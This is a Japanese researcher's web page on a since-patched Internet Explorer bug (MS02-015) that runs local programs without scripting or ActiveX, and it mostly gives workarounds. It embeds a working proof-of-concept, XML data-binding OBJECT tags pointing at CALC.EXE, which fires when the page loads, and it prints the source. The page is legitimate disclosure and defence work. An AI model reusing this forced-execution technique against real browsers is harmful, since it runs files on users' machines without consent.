COUNTERSince June 16, 2000
STUDIO KAMADAJapanese to English by Excite
戻る | サイトマップ | ホーム
Windows+IEにおけるプログラム強制実行の実験と対策2003-03-06(Thu) 02:04


 他の実験のページはこのページの末尾のリンクから辿れます。


(2003-03-06)
 [IE4] セキュリティ ゾーンのレジストリ エントリについて(Microsoft)のページが移動していたので関連リンクを修正しました。


(2002-03-29)
 このページの実験と対策で扱っていたIEの脆弱性は、2002年3月28日(現地時間)に公開されたMicrosoft Security Bulletin MS02-015(IEの累積的な修正プログラムMS02-015)の修正プログラムQ319182により、修正されました。
 Q319182のダウンロードページで適切な言語を選択し、IEのバージョンに合った修正プログラムをダウンロードおよびインストールしてください。

 MS02-015の日本語のページが公開されました…Internet Explorer 用の累積的な修正プログラム (MS02-015)




  1. 概要
  2. 実験
  3. MicrosoftからIEの修正プログラムが公開されるまでの暫定的な対策
  4. リンク

概要

 Windows 98/NT/2000/XP上のIE 5.5/6.0で、アクティブスクリプトやActiveXがOFFになっている状態で、ユーザのハードディスクの中にある名前を知られている任意の実行可能ファイルがユーザの許可なく実行されてしまいます。

 実行されるプログラムによっては、ユーザの環境に影響を及ぼしたり、他のセキュリティホールの引き金になる可能性があります。特に、少ないメモリでやりくりしている環境では、大量のメモリを消費するプログラムがユーザの許可なく不用意に起動するとメモリが不足してシステムの動作が不安定になり、再起動せざるを得ない状況に陥る可能性があります。

 なお、プログラムにパラメータを渡す手段は報告されていませんので、任意の実行可能ファイルを実行できるといってもいきなりハードディスクをフォーマットされるかも知れないという意味ではありません(そのようなことが絶対にないという保証もありませんが)。

 当初はIEを使わない以外に対策がないと伝えられていましたが、これまでにいくつかの回避策がわかっています。しかし、インターネットオプションのセキュリティの設定だけでは回避できないということには変わりなく、IEの正式な修正プログラムの公開が待たれています。

 プログラムが動いてしまう原因は、ActiveXコントロール(任意のプログラム)をダウンロードして実行する指示がインターネットゾーンに記述してあっても特定の条件が成立しているとそれがマイコンピュータゾーンでおこなわれてしまうことにあると考えられます。


実験

 Windows 98/2000/XP+IE 5.5SP2/6.0の環境で、このページを表示した時点で電卓が起動するようになっています。(電卓を削除してしまった場合は、このページでは動作を確認できません)

●条件
 Windows 98/NT/2000/XP上のIE 5.5SP2/6.0であること。

●確認した環境
 手元のWindows98SE+IE5.5SP2およびWindows2000Professional+IE6.0(いずれもInternet Explorerの累積的な修正プログラム(MS02-005)のパッチを適用済み)の環境で電卓が起動することを確認しました。

この実験で電卓を起動している部分のソースリスト
<span datasrc="#oExec" datafld="exploit" dataformatas="html" style="display:none"></span>
<xml id="oExec">
  <security>
    <exploit>
      &lt;object id=&quot;oFile_98&quot;
              classid=&quot;clsid:11111111-1111-1111-1111-111111111111&quot;
              codebase=&quot;C:/WINDOWS/CALC.EXE&quot;&gt;&lt;/object&gt;
      &lt;object id=&quot;oFile_2000&quot;
              classid=&quot;clsid:11111111-1111-1111-1111-111111111111&quot;
              codebase=&quot;C:/WINNT/SYSTEM32/CALC.EXE&quot;&gt;&lt;/object&gt;
      &lt;object id=&quot;oFile_xp&quot;
              classid=&quot;clsid:11111111-1111-1111-1111-111111111111&quot;
              codebase=&quot;C:/WINDOWS/SYSTEM32/CALC.EXE&quot;&gt;&lt;/object&gt;
    </exploit>
  </security>
</xml>

 このページのソースを表示する
<object id="oFile_98" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="C:/WINDOWS/CALC.EXE"></object> <object id="oFile_2000" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="C:/WINNT/SYSTEM32/CALC.EXE"></object> <object id="oFile_xp" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="C:/WINDOWS/SYSTEM32/CALC.EXE"></object>
●この実験の副作用について

 この実験で電卓が起動した場合は、以下のレジストリが追加されてCODEBASEの情報が残っています(Windows98SE+IE5.5SP2で確認)。これはIEがActiveXコントロールを実行する際の仕様に基づく挙動の結果であり、放置しても害はありませんが、無駄な情報が追加されていることには違いないので、気になる場合はこのレジストリを削除してください。

  HKEY_LOCAL_MACHINE\Software\Microsoft\Code Store Database\Distribution Units\{11111111-1111-1111-1111-111111111111}

 このレジストリはレジストリエディタで削除しても問題ありませんが、次の方法でも削除することができます。
  「インターネットオプション」→「全般」→「インターネット一時ファイル」→「設定」→「オブジェクトの表示」を選択する。
  「プログラム ファイル」が「{11111111-1111-1111-1111-111111111111}」となっているものを削除する。
 間違って関係のないものを削除してしまわないように十分に注意してください。また、「十分な情報がない…」というダイアログが出ますが、もともと十分な情報は記録されていないので問題ありません。


MicrosoftからIEの修正プログラムが公開されるまでの暫定的な対策


 自明な対策「修正プログラムが公開されるまでIEを使わないこと」以外の対策をまとめています。
  1. レジストリを操作する方法
  2. タブブラウザを利用する方法
  3. ローカルプロキシを利用する方法
  4. パーソナルファイアウォールを利用する方法
レジストリを操作する方法
 現在、最も確実と思われる対策ですが、初心者には難しいかも知れません。レジストリの操作は間違えないように慎重におこなう必要があります。

 以下のレジストリの操作をおこなうことで、プログラムを勝手に起動されることはなくなります。手元のWindows98SE+IE5.5SP2およびWindows2000Professional+IE6.0の環境で効果があることを確認しました。このレジストリの操作によって、本来ならばダウンロードできなければならないActiveXコンポーネントがダウンロードできなくなる可能性があります。必要な場合は元に戻してください。なお、このレジストリの操作をおこなっても、通常のFlashアニメの再生やPDFファイルの表示などには影響ありません。

  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004
  0x00000000(0) → 0x00000003(3)

レジストリの操作の手順
  1. 「スタート」ボタンをクリック(スタートメニューが出てきます)
  2. スタートメニューの「ファイル名を指定して実行」を選択
    (「ファイル名を指定して実行」のウインドウが表示されます)
  3. 「名前」に「regedit」と入力して「OK」をクリック(レジストリエディタが起動します)
  4. 左側のフィールドの「HKEY_CURRENT_USER」の左側の「+」をクリック
    (「HKEY_CURRENT_USER」の1つ下の階層が表示されます)
  5. 「HKEY_CURRENT_USER」の下の「Software」の左側の「+」をクリック
  6. 「Software」の下の「Microsoft」の左側の「+」をクリック
  7. 「Microsoft」の下の「Windows」の左側の「+」をクリック
  8. 「Windows」の下の「CurrentVersion」の左側の「+」をクリック
  9. 「CurrentVersion」の下の「Internet Settings」の左側の「+」をクリック
  10. 「Internet Settings」の下の「Zones」の左側の「+」をクリック
  11. 「Zones」の下の「0」をクリック(右側のフィールドが表示されます)
  12. 右側のフィールドの左上にある「1004」を右クリック(ポップアップメニューが表示されます)
  13. ポップアップメニューから「変更」を選択(「DWORD 値の編集」のウインドウが表示されます)
  14. 値のデータに「3」を入力して「OK」をクリック(この時点でレジストリの操作は完了しています)
  15. レジストリエディタを終了
  16. IEのウィンドウをすべて閉じてIEを起動し直す

 このレジストリの操作をおこなうと、プログラムを勝手に実行しようとしたときに次のようなダイアログが表示されて実行が阻止されます。

「現在のセキュリティの設定では、このページの ActiveX コントロールは実行できません。そのため、このページは正確に表示されない可能性があります。」

 もしもレジストリを操作する方法で頻繁に副作用(必要なActiveXコントロールのダウンロードもできなくなってしまう)が発生するようであれば、次の操作をおこなっておくことでActiveXコントロールのダウンロードを有効にするために毎回レジストリを操作する必要がなくなります。

  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags
  0x00000021(33) → 0x00000001(1)

 このレジストリの操作をおこなうと、インターネットオプションのセキュリティタブのところに「マイコンピュータ」が出てきます。マイコンピュータゾーンの「未署名の ActiveX コントロールのダウンロード」を普段は「無効にする」に設定しておくことでプログラムの実行が阻止され、必要な場合だけ「有効にする」に設定すればよいということになります。

「インターネットオプション」にマイコンピュータのゾーンが表示される

 なお、解決されるべき問題はActiveXコントロール(任意のプログラム)をダウンロードして実行する指示がインターネットゾーンに記述してあっても特定の条件が成立しているとそれがマイコンピュータゾーンでおこなわれてしまうことと考えられます。したがって、上記の対策は根本的な解決にはなっていません。

 レジストリの操作が不慣れな方のために、前述のレジストリの操作をおこなうスクリプトを用意しました。現在の設定の確認と、プログラムの起動の禁止と許可をボタン操作でおこなうことができます。

 スクリプトはこのページに記述されていますが、インターネット上のページのスクリプトでレジストリを操作するためにはブラウザのセキュリティのレベルを下げなければならず、元に戻すことを忘れた場合のことを考えると非常に危険です。そのため、このページをハードディスクに保存してローカルで実行することを強くお勧めします。
(インターネットオプションのセキュリティの設定で「スクリプトを実行しても安全だとマークされていない ActiveX コントロールの初期化とスクリプトの実行」を「ダイアログを表示する」に設定することで、ページを保存せずにレジストリを操作できるようになります。この方法で操作する場合は、レジストリの操作が終わったら設定を「無効にする」に戻すことを決して忘れないようにしてください)

 このページをIEで保存するときは、「ソースの表示」をおこなってそこからファイルに保存してください。「名前を付けて保存」した場合は、ページの先頭に記録される
  <!-- saved from url=(0058)http://homepage2.nifty.com/m_kamada/javascript/ietest7.htm -->
のような文字列をテキストエディタなどで削除する必要があります。

 このスクリプトはレジストリの操作を伴うので、ボタンを押すとその操作が安全でない可能性があることを知らせるダイアログが表示されます。Yを押して続行してください。

 このページのソースを表示する

    


 impress INTERNET Watchの3月4日の再掲版には上記の方法について「実行前に警告文を出す」という記述があり、警告文を出すだけで結局実行されるかのような印象を与えていますが、実際にはプログラムは実行されません。
(この点についてINTERNET Watch編集部へ指摘したところ、印象を与えているだけで完全な誤りとは言えず、読者を混乱させないために必要以上の変更を加えない編集方針のため変更しないとの回答をいただきました)

タブブラウザを利用する方法
 タブブラウザの中にはActiveXコンポーネントのダウンロードを禁止できるものがあり、ActiveXコンポーネントのダウンロードを禁止することにより、この問題に対処できる場合があるようです。
  Moon BrowserCuam上ではこの問題を再現できなかったとの情報(3月2日)こちらを経由)
  Moon Browser 0.41 Beta4でもActiveXのダウンロードを禁止しなければ電卓が起動するとの情報(3月4日)
  Donut Rでは電卓が起動しなかったとの情報(3月2日)
  Lunaspaceで効果があったとの情報(3月3日)
  WIN98[無印]+IE5.5SP2+IE累積パッチ(ブラウザはSleipnir Ver1.00β4)の環境で電卓が起動しなかったとの情報(3月3日)
  Windows98+IE6.0+fubのActiveXフィルタを常用していてこのページの実験で何も起こらなかったとの情報(3月3日)
  Windows98+IE5.5SP2+IE累積パッチ+BugBrowser 2.42でも悪戯はされなかったとの情報(3月7日)
  (リンクを張って情報を添えてくださった方々に感謝いたします)
 タブブラウザを使っていてもActiveXコンポーネントのダウンロードを禁止する設定で使用しなければ効果がありませんのでご注意ください。

ローカルプロキシを利用する方法
 ローカルプロキシを利用する方法はこちら。(参考
 なお、「 <![CDATA[ 〜 ]]> 」は単なる文字列エスケープなので、これを回避しても意味がありません。CDATAを回避する設定では、このページの実験では電卓が起動してしまうはずです。

 impress INTERNET Watchの3月4日の再掲版に「XMLのCDATAを利用することで…」という記述がありますが、これは誤りです。
(この点についてINTERNET Watch編集部へ指摘したところ、該当部分は3月6日に修正されました)

 XMLのCDATAセクションは、パーサが「<」、「>」、「&」、「'」、「"」などの特殊文字を解釈しないというだけのものです。CDATAセクションを使わず「&lt;」、「&gt;」、「&amp;」、「&apos;」、「&quot;」と書いても同じ問題が発生するので、今回の問題にCDATAセクションは無関係です。

パーソナルファイアウォールを利用する方法
 ノートンインターネットセキュリティ2001/2002のパーソナルファイアウォールの機能で、設定を「高レベル」にしてください。
 ユーザの許可なくプログラムを実行しようとすると、次のようなメッセージが書かれたダイアログが表示されます。これにより、プログラムの実行を回避するチャンスが与えられます。

「〜からのWebページに,ActiveXコントロールが入っています.
ページを完全にロードするにはこのコントロールを許可または遮断する必要があります.」
 なお、ノートンインターネットセキュリティ2001のパーソナルファイアウォールは、ActiveXとJavaを遮断することができますが、アクティブスクリプトについては遮断できないとの情報をいただきました。そのため、今回の問題に対しては有効でも、他の方法で攻撃された場合には阻止できない可能性があるかも知れません。念のためご留意ください。

 ノートンインターネットセキュリティ2002のパーソナルファイアウォールでは「高レベル」に設定しても警告のダイアログは表示されずに電卓が起動したとの情報をいただきましたが、2002でも回避できます。Windows 2000 SP2+SRPの環境での検証結果と共に次のような助言をいただきましたので、ノートンインターネットセキュリティ2002で回避できなかったという方はこちらを参考にして設定を確認してみてください。これらの設定をチェックしても問題が解決しない場合は、前述のレジストリを変更する方法で対処してください。
  1. ファイアウォールの設定が「高」ではない。
  2. Windows XPファイアウォール機能と一部競合している。
  3. 問題のあるページにアクセスするとウィンドウが表示されActiveXを許可するかどうかを聞いてきますが,それを許可のままでついOKを押してしまった。
  4. ファイアウォールの設定を「中」以下に設定している状態でIEで問題現象を確認した後、ファイアウォールの設定を「高」にしてIEで再度問題を検証しようとしたが、IEのキャッシュをクリアするのを忘れたため、ローカルキャッシュを読み込んで、実行されてしまった。


リンク

●関連リンク
 BUGTRAQ:IE execution of arbitrary commands without Active Scripting or ActiveX (GM#001-IE)(英文)
 セキュリティメモ:[memo:3101] IE Pop-Up OBJECT Tag Bug does not work for restricted users
 セキュリティメモ:[memo:3103] Re: IE Pop-Up OBJECT Tag Bug does not work for restricted users
 スラッシュドット ジャパン:IEとOEに任意コマンド起動の欠陥
 GreyMagic Security Advisory:GM#001-IE
 Microsoft:[IE4] セキュリティ ゾーンのレジストリ エントリについて

●他の実験のページ
  Opera 6.0 Beta 1におけるディレクトリ情報漏洩の実験
  Opera 6.0 Beta 1におけるCookie情報漏洩の実験
  Windows+IEにおけるローカルファイル内容漏洩の実験
  Windows+IEにおけるローカルファイル内容漏洩の実験(その2)
  Windows+IEにおけるCookie情報漏洩の実験
  Windows+IEにおけるスクリプト強制実行の実験
  Windows+IEにおけるローカルファイル内容漏洩の実験(その3)
  Windows+IEにおけるプログラムの実行の実験
  Windows+IEにおけるプログラム強制実行の実験と対策
  Netscape 6とMozillaにおけるローカルディスクの内容の漏洩の実験
  Windows+IEにおけるプログラム強制実行の実験と対策(その2)
  Windows+IEにおけるプログラム強制実行の実験と対策(その3)
  Windows+IEにおけるローカルファイル内容漏洩の実験(その4)
  Windows+IEにおけるローカルファイル内容漏洩の実験(その5)
  Windows+IEにおけるプログラム強制実行の実験と対策(その4)
  Windows+IEにおけるローカルファイル内容漏洩の実験(その6)
  Windows+IEにおけるプログラム強制実行の実験と対策(その5)
  Windows+IEにおけるプログラム強制実行の実験と対策(その6)


 日記に戻る

戻る | サイトマップ | ホーム
E-mail: m_kamada at nifty dot comMirrorCopyright (C) 1999-2004 M.Kamada All Rights Reserved.